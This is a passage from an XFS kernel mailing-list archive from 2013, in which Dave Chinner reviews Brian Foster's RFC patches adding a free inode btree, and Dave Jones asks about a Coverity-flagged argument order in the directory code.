ArYGAIbgJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKBd0giQBAQUnExwjEAgDDgoJJQ8FJQMhE4gBujkWj0oHhB0Dl3SKMIc3gzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 11:10:18 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHOYS-00005J-QD; Thu, 05 Sep 2013 11:40:16 +1000 Date: Thu, 5 Sep 2013 11:40:16 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() Message-ID: <20130905014016.GU23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 07/11] xfs: retry trans reservation on ENOSPC in xfs_inactive() References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-8-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-8-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378345238 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:25:04PM -0400, Brian Foster wrote: > An ifree data block reservation can fail with ENOSPC. Flush inodes > to try and free up space or attempt without a data block > reservation to avoid failing out of xfs_inactive(). > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_inode.c | 11 +++++++++++ > 1 file changed, 11 insertions(+) > > diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c > index 56cbf63..92de4b7 100644 > --- a/fs/xfs/xfs_inode.c > +++ b/fs/xfs/xfs_inode.c > @@ -1779,7 +1779,18 @@ xfs_inactive( > tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); > error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, > XFS_IFREE_SPACE_RES(mp), 0); > + if (error == ENOSPC) { > + /* flush outstanding delalloc blocks and retry */ > + xfs_flush_inodes(mp); > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, > + XFS_IFREE_SPACE_RES(mp), 0); > + } We don't want to be blocking for inode flushes here. We might be in a shrinker context, for example, and blocking those for a filesystem sync is going to be unfriendly. If this really is a problem, then the right thing to do is to allow this transaction to dip into the reserve block pool so the transaction can complete and make progress - other write operations will trigger the flushing of the filesystem, and freeing of whole inode chunks should return more free space than we need for the finobt modifications in the removing lots of zero length inodes at ENOSPC case.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 21:11:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3E8EE29DFB for ; Wed, 4 Sep 2013 21:11:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 22FEF304067 for ; Wed, 4 Sep 2013 19:11:14 -0700 (PDT) X-ASG-Debug-ID: 1378347072-04cb6c2e9dd5ea10001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id o13pzSYd56rBRuSJ for ; Wed, 04 Sep 2013 19:11:13 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArYGAMnnJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKRd0giQBAQQBJxMcIwULCAMOCgklDwUlAyETh3wFujkWj0oHhB0Dl3SRZ4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 11:40:47 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHP1n-00008j-UV; Thu, 05 Sep 2013 12:10:35 +1000 Date: Thu, 5 Sep 2013 12:10:35 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 08/11] xfs: insert newly allocated inode chunks into the finobt Message-ID: <20130905021035.GV23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 08/11] xfs: insert newly allocated inode chunks into the finobt References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-9-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-9-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378347072 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:25:05PM -0400, Brian Foster wrote: > A newly allocated inode chunk, by definition, has at least one > free inode, so a record is always inserted into the finobt. > > Create the xfs_inobt_insert() helper from existing code to insert > a record in an inobt based on the provided BTNUM. Update > xfs_ialloc_ag_alloc() to invoke the helper for the existing > XFS_BTNUM_INO tree and XFS_BTNUM_FINO tree, if enabled. Factoring is good... > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_ialloc.c | 79 +++++++++++++++++++++++++++++++++++++---------------- > 1 file changed, 56 insertions(+), 23 deletions(-) > > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 5ced506..e64a728 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -152,6 +152,52 @@ xfs_check_agi_freecount( > #endif > > /* > + * Insert records describing a newly allocated inode chunk into the inobt. > + */ > +STATIC int > +xfs_inobt_insert( > + struct xfs_mount *mp, > + struct xfs_trans *tp, > + struct xfs_buf *agbp, > + xfs_agino_t newino, > + xfs_agino_t newlen, > + xfs_btnum_t btnum) > +{ > + struct xfs_btree_cur *cur; > + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); > + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); > + xfs_agino_t thisino; > + int i; > + int error; > + > + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, btnum); > + > + for (thisino = newino; > + thisino < newino + newlen; > + thisino += XFS_INODES_PER_CHUNK) { > + cur->bc_rec.i.ir_startino = thisino; > + cur->bc_rec.i.ir_freecount = XFS_INODES_PER_CHUNK; > + cur->bc_rec.i.ir_free = XFS_INOBT_ALL_FREE; > + error = xfs_btree_lookup(cur, XFS_LOOKUP_EQ, &i); > + if (error) { > + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); > + return error; > + } I'm wondering if we'd do better to pass freecount/free to xfs_inobt_lookup() and call that instead. i.e. we don't need to expose the btree cursor internals here... Maybe, also, move this function up to the top of the file with the other xfs_inobt_* functions. Otherwise it all looks OK. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 21:27:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 44F1129DFB for ; Wed, 4 Sep 2013 21:27:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 24EEC8F8035 for ; Wed, 4 Sep 2013 19:27:26 -0700 (PDT) X-ASG-Debug-ID: 1378348043-04cbb02c3cd520e0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id UqCnZ5dn15tmr6NF for ; Wed, 04 Sep 2013 19:27:24 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArYGAE7rJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKRd0giQBAQUnExwjEAgDDgoJJQ8FJQMhE4gBujoWjX+BSweEHQOXdJFngzIqgSw Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 11:57:22 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHPHz-0000A9-Rr; Thu, 05 Sep 2013 12:27:19 +1000 Date: Thu, 5 Sep 2013 12:27:19 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 09/11] xfs: use and update the finobt on inode allocation Message-ID: <20130905022719.GW23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 09/11] xfs: use and update the finobt on inode allocation References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-10-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-10-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378348043 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140352 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:25:06PM -0400, Brian Foster wrote: > Replace xfs_dialloc_ag() with an implementation that looks for a > record in the finobt. The finobt only tracks records with at least > one free inode. This eliminates the need for the intra-ag scan in > the original algorithm. Once the inode is allocated, update the > finobt appropriately (possibly removing the record) as well as the > inobt. > > Move the original xfs_dialloc_ag() algorithm to > xfs_dialloc_ag_slow() and fall back as such if finobt support is > not enabled. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_ialloc.c | 136 +++++++++++++++++++++++++++++++++++++++++++++++++++- > 1 file changed, 135 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index e64a728..516f4af 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -708,7 +708,7 @@ xfs_ialloc_get_rec( > * available. > */ > STATIC int > -xfs_dialloc_ag( > +xfs_dialloc_ag_slow( > struct xfs_trans *tp, > struct xfs_buf *agbp, > xfs_ino_t parent, > @@ -966,6 +966,140 @@ error0: > return error; > } > > +STATIC int > +xfs_dialloc_ag( > + struct xfs_trans *tp, > + struct xfs_buf *agbp, > + xfs_ino_t parent, > + xfs_ino_t *inop) > +{ > + struct xfs_mount *mp = tp->t_mountp; > + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); > + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); > + xfs_agino_t pagino = XFS_INO_TO_AGINO(mp, parent); > + struct xfs_perag *pag; > + struct xfs_btree_cur *fcur; > + struct xfs_btree_cur *icur; > + struct xfs_inobt_rec_incore frec; > + struct xfs_inobt_rec_incore irec; > + xfs_ino_t ino; > + int error; > + int offset; > + int i; > + > + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) > + return xfs_dialloc_ag_slow(tp, agbp, parent, inop); I'm starting to think that we really, really need the iops vector mentioned in "[RFD 15/17] xfs: introduce a method vector for unlinked list operations" so we don't need to have these sorts of switches in the code... > + > + pag = xfs_perag_get(mp, agno); > + > + /* > + * If pagino is 0 (this is the root inode allocation) use newino. > + * This must work because we've just allocated some. > + */ > + if (!pagino) > + pagino = be32_to_cpu(agi->agi_newino); > + > + fcur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); > + icur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_INO); > + > + error = xfs_check_agi_freecount(fcur, agi); > + if (error) > + goto error; > + error = xfs_check_agi_freecount(icur, agi); > + if (error) > + goto error; Why do we need to initialise both cursors at once? We only do the operations one at a time, and you should actually use 2 cursors for the finobt lookup..... > + > + /* > + * Search the finobt. > + */ > + error = xfs_inobt_lookup(fcur, pagino, XFS_LOOKUP_LE, &i); > + if (error) > + goto error; > + if (i == 0) { > + error = xfs_inobt_lookup(fcur, pagino, XFS_LOOKUP_GE, &i); > + if (error) > + goto error; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error); > + } .... because this biases allocation to lower inode numbers than the target. i.e we only ever search for higher numbers if here are none lower. That's quite different to the current algorithm which first searches for the *closest* free inode. That is, we should be using two cursors for the free inode search, one for LE, the other for GT. If they both return records then, like the "slow" algorithm, calculate the diff between them and the target inode, and select the closer one (smallest diff). Destroy the cursor you don't need. > + error = xfs_inobt_get_rec(fcur, &frec, &i); > + if (error) > + goto error; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error); > + > + offset = xfs_lowbit64(frec.ir_free); > + ASSERT(offset >= 0); > + ASSERT(offset < XFS_INODES_PER_CHUNK); > + ASSERT((XFS_AGINO_TO_OFFSET(mp, frec.ir_startino) % > + XFS_INODES_PER_CHUNK) == 0); > + ino = XFS_AGINO_TO_INO(mp, agno, frec.ir_startino + offset); > + > + /* > + * Modify or remove the finobt record. > + */ > + frec.ir_free &= ~XFS_INOBT_MASK(offset); > + frec.ir_freecount--; > + if (frec.ir_freecount) > + error = xfs_inobt_update(fcur, &frec); > + else > + error = xfs_btree_delete(fcur, &i); > + if (error) > + goto error; Yup, good. Now you can re-initialise the second cursor to point at the inobt and: > + > + /* > + * Lookup and modify the equivalent record in the inobt. > + */ > + error = xfs_inobt_lookup(icur, frec.ir_startino, XFS_LOOKUP_EQ, &i); > + if (error) > + goto error; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error); > + > + error = xfs_inobt_get_rec(icur, &irec, &i); > + if (error) > + goto error; > + XFS_WANT_CORRUPTED_GOTO(i == 1, error); > + ASSERT((XFS_AGINO_TO_OFFSET(mp, irec.ir_startino) % > + XFS_INODES_PER_CHUNK) == 0); > + > + irec.ir_free &= ~XFS_INOBT_MASK(offset); > + irec.ir_freecount--; > + > + XFS_WANT_CORRUPTED_GOTO((frec.ir_free == irec.ir_free) && > + (frec.ir_freecount == irec.ir_freecount), > + error); Good, I like that check - they should be the same! > + > + error = xfs_inobt_update(icur, &irec); > + if (error) > + goto error; > + > + /* > + * Update the perag and superblock. > + */ > + be32_add_cpu(&agi->agi_freecount, -1); > + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); > + pag->pagi_freecount--; > + > + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -1); > + xfs_perag_put(pag); > + > + error = xfs_check_agi_freecount(fcur, agi); > + if (error) > + goto error; > + error = xfs_check_agi_freecount(icur, agi); > + if (error) > + goto error; Failures here will result in 2 calls to xfs_perag_put(pag); > + > + xfs_btree_del_cursor(icur, XFS_BTREE_NOERROR); > + xfs_btree_del_cursor(fcur, XFS_BTREE_ERROR); > + *inop = ino; > + return 0; > +error: > + xfs_perag_put(pag); > + xfs_btree_del_cursor(icur, XFS_BTREE_ERROR); > + xfs_btree_del_cursor(fcur, XFS_BTREE_ERROR); > + return error; > +} Otherwise it looks good. Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Wed Sep 4 21:38:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7EB4129DFB for ; Wed, 4 Sep 2013 21:38:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5F40B8F8035 for ; Wed, 4 Sep 2013 19:38:27 -0700 (PDT) X-ASG-Debug-ID: 1378348706-04cb6c2e9fd60370001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id g6FXA3LZFADs1bIl for ; Wed, 04 Sep 2013 19:38:26 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r852cPaT015399 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 4 Sep 2013 22:38:26 -0400 Received: from gelk.kernelslacker.org (ovpn-113-166.phx2.redhat.com [10.3.113.166]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r852cJwh006496 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 4 Sep 2013 22:38:25 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.7) with ESMTP id r852cJp0010975 for ; Wed, 4 Sep 2013 22:38:19 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r852cIKO010974 for xfs@oss.sgi.com; Wed, 4 Sep 2013 22:38:18 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Wed, 4 Sep 2013 22:38:18 -0400 From: Dave Jones To: xfs@oss.sgi.com Subject: potential argument order bug in fs/xfs/xfs_dir2_node.c:xfs_dir2_leafn_unbalance Message-ID: <20130905023818.GA10694@redhat.com> X-ASG-Orig-Subj: potential argument order bug in fs/xfs/xfs_dir2_node.c:xfs_dir2_leafn_unbalance MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378348706 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 I'm picking through some of the bugs in coverity's database, and I came across this one, which I'm unsure of.. In xfs_dir2_leafn_unbalance we have this code.. 1583 if (xfs_dir2_leafn_order(save_blk->bp, drop_blk->bp)) 1584 xfs_dir3_leafn_moveents(args, drop_blk->bp, &drophdr, dents, 0, 1585 save_blk->bp, &savehdr, sents, 0, 1586 drophdr.count); 1587 else 1588 xfs_dir3_leafn_moveents(args, drop_blk->bp, &drophdr, dents, 0, 1589 save_blk->bp, &savehdr, sents, 1590 savehdr.count, drophdr.count); The issue that coverity picked up in both cases, is that 'sents' and 'dents' are in a different order to how the xfs_dir3_leafn_moveents function expects them. Is this intentional ? If so I'll mark it as such in their db. thanks, Dave From david@fromorbit.com Wed Sep 4 21:54:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 678D07F5D for ; Wed, 4 Sep 2013 21:54:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 28B65304051 for ; Wed, 4 Sep 2013 19:54:28 -0700 (PDT) X-ASG-Debug-ID: 1378349665-04bdf02f22d8b5f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id SInDm9xOWrr2g2aG for ; Wed, 04 Sep 2013 19:54:26 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArcGADbxJ1J5LJ62/2dsb2JhbABRCoMHg0W5TYU6gSkXdIIkAQEEAScTHCMFCwgDDgoJJQ8FJQMhE4d8BbpGFo4HgUMHhB0Dl3SRZ4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 12:24:25 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHPiA-0000DR-18; Thu, 05 Sep 2013 12:54:22 +1000 Date: Thu, 5 Sep 2013 12:54:21 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free Message-ID: <20130905025421.GX23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-11-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-11-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378349665 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140353 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Sep 03, 2013 at 02:25:07PM -0400, Brian Foster wrote: > An inode free operation can have several effects on the finobt. If > all inodes have been freed and the chunk deallocated, we remove the > finobt record. If the inode chunk was previously full, we must > insert a new record based on the existing inobt record. Otherwise, > we modify the record in place. > > Create the xfs_ifree_finobt() function to identify the potential > scenarios and update the finobt appropriately. The first thing I'd do is factor all the inobt manipulation code xfs_difree() into a xfs_difree_inobt() helper function. have it return the record and offset that is then passed to your new helper xfs_difree_finobt(). That way xfs_difree() really becomes the setup function for the two btree operations rather than containing one set of modifications and calling a function to do the other... > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_ialloc.c | 120 ++++++++++++++++++++++++++++++++++++++++++++++++++++ > 1 file changed, 120 insertions(+) > > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 516f4af..96f71b5 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -198,6 +198,117 @@ xfs_inobt_insert( > } > > /* > + * Free an inode in the free inode btree. > + */ > +STATIC int > +xfs_ifree_finobt( > + struct xfs_mount *mp, > + struct xfs_trans *tp, > + struct xfs_buf *agbp, > + struct xfs_inobt_rec_incore *ibtrec,/* inobt record */ > + int offset) /* offset of inode */ > +{ > + struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); > + xfs_agnumber_t agno = be32_to_cpu(agi->agi_seqno); > + struct xfs_btree_cur *cur; > + struct xfs_inobt_rec_incore rec; > + int error; > + int i; > + > + if (!xfs_sb_version_hasfinobt(&mp->m_sb)) > + return 0; There's that vector thing again... > + > + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_FINO); > + > + error = xfs_inobt_lookup(cur, ibtrec->ir_startino, XFS_LOOKUP_EQ, &i); > + if (error) > + goto error; > + > + if (i == 1) { > + int j; > + /* > + * Read and update the existing record. > + */ > + error = xfs_inobt_get_rec(cur, &rec, &j); > + if (error) > + goto error; > + XFS_WANT_CORRUPTED_GOTO(j == 1, error); > + > + rec.ir_free |= XFS_INOBT_MASK(offset); > + rec.ir_freecount++; > + > + XFS_WANT_CORRUPTED_GOTO((rec.ir_free == ibtrec->ir_free) && > + (rec.ir_freecount == ibtrec->ir_freecount), > + error); > + } I can't say I'm a great fan of the layout of the logic. Yes, there's lots of cases to handle. It looks like: lookup() if (found) modify in place if (found && full && deleting chunks) delete record else if (!found && no record) insert record else if (found) update record else corruption! I think it woul dbe better to get then "!found" case out of the way at the start. ie if (i == 0) { if (ibtrec->ir_freecount == 1) insert record else CORRUPTION goto out; } /* found a record, no need to check i == 1 anymore */ ASSERT(i == 1); /* read and update */ if (full && deleting chunks) delete record else update record > + > + /* > + * The content of inobt records should always match between the inobt > + * and finobt. The lifecycle of records in the finobt is different from > + * the inobt in that the finobt only tracks records with at least one > + * free inode. This is to optimize lookup for inode allocation purposes. > + * The following checks fix up the finobt appropriately based on the > + * state of the record subsequent to the current operation. > + */ > + > + if ((i == 1) && > + (rec.ir_freecount == XFS_IALLOC_INODES(mp) && > + !(mp->m_flags & XFS_MOUNT_IKEEP))) { > + /* > + * We have an existing finobt record. If all inodes are free > + * and we're in !ikeep mode, the entire inode chunk has been > + * deallocated. Remove the record from the finobt. > + */ > + error = xfs_btree_delete(cur, &i); > + if (error) > + goto error; > + ASSERT(i == 1); > + } else if ((i == 0) && (ibtrec->ir_freecount == 1)) { > + /* > + * No existing finobt record and the inobt record has a single > + * free inode. This means we've freed an inode in a previously > + * fully allocated chunk. Insert a new record into the finobt > + * based on the current inobt record. > + */ > + cur->bc_rec.i.ir_startino = ibtrec->ir_startino; > + cur->bc_rec.i.ir_free = ibtrec->ir_free; > + cur->bc_rec.i.ir_freecount = ibtrec->ir_freecount; > + error = xfs_btree_insert(cur, &i); > + if (error) > + goto error; > + ASSERT(i == 1); That's rather similar to the code in xfs_inobt_insert(). Indeed, is you write a helper - xfs_inobt_insert_rec() - for this, then rather than modifying xfs_inobt_lookup() to take extra parameters like I wondered for the previous patch, leave it alonge and pass the parameters to xfs_inobt_insert_rec() instead. Then this code is functionally identical to xfs_inobt_insert() done during allocation.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 21:55:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0624E7F5D for ; Wed, 4 Sep 2013 21:55:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E466B304064 for ; Wed, 4 Sep 2013 19:55:56 -0700 (PDT) X-ASG-Debug-ID: 1378349755-04cb6c153dd5c3b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id l2vMKcAGbCryW0OX for ; Wed, 04 Sep 2013 19:55:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArYGAFryJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKRd0giQBAQU6HCMQCAMOCgklDwUlAyETiAG6RxaPSgeEHQOXdJFngzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 12:25:30 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 